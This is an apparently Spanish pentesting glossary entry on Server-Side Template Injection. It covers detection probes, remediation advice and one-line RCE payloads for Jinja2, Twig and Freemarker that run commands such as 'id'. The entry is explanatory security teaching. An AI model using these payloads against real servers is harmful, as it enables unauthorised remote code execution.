> ## Documentation Index
> Fetch the complete documentation index at: https://rootea.es/llms.txt
> Use this file to discover all available pages before exploring further.

# SSTI (Server-Side Template Injection)

> La aplicación pasa input del usuario a un motor de templates (Jinja2, Twig, Freemarker, Velocity) sin escape.

# SSTI (Server-Side Template Injection)

<p className="glossary-answer">La aplicación pasa input del usuario a un motor de templates (Jinja2, Twig, Freemarker, Velocity) sin escape.</p>

**Categoría:** [Web · Vectores avanzados](/glosario)

🎯 **Trinchera** — La aplicación pasa input del usuario a un motor
de templates (Jinja2, Twig, Freemarker, Velocity) sin escape. El
input se evalúa como código del template → RCE.

🔗 **Kill chain** — Detección con `${7*7}` o `{{7*7}}` (devuelve 49).
Confirmación con dump del contexto. Escalada a RCE:

* **Jinja2:** `{{ ''.__class__.__mro__[1].__subclasses__() }}` →
  encuentras `subprocess.Popen` → RCE.
* **Twig:** `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`.
* **Freemarker:** `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`.

📡 **Huella defensiva** — Errores de template engine, syntax errors
inusuales, latencia en respuestas a inputs raros.

⚠️ **Falso amigo** — Confundir SSTI con XSS. SSTI ejecuta server-side
(RCE), XSS client-side (JS).

🛡️ **Remediación** — Sandbox del template engine, evitar
`render_template_string(user_input)`, separar templates de datos.

***

← [Volver al glosario completo](/glosario)

<script type="application/ld+json">
  {`{"@context":"https://schema.org","@type":"DefinedTerm","name":"SSTI (Server-Side Template Injection)","description":"La aplicación pasa input del usuario a un motor de templates (Jinja2, Twig, Freemarker, Velocity) sin escape.","inDefinedTermSet":{"@type":"DefinedTermSet","name":"Glosario táctico de pentesting","url":"https://rootea.es/glosario"},"url":"https://rootea.es/glosario/ssti-server-side-template-injection"}`}
</script>

<script type="application/ld+json">
  {`{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Inicio","item":"https://rootea.es"},{"@type":"ListItem","position":2,"name":"Glosario táctico","item":"https://rootea.es/glosario"},{"@type":"ListItem","position":3,"name":"SSTI (Server-Side Template Injection)","item":"https://rootea.es/glosario/ssti-server-side-template-injection"}]}`}
</script>

*Última actualización: 2026-06-11*
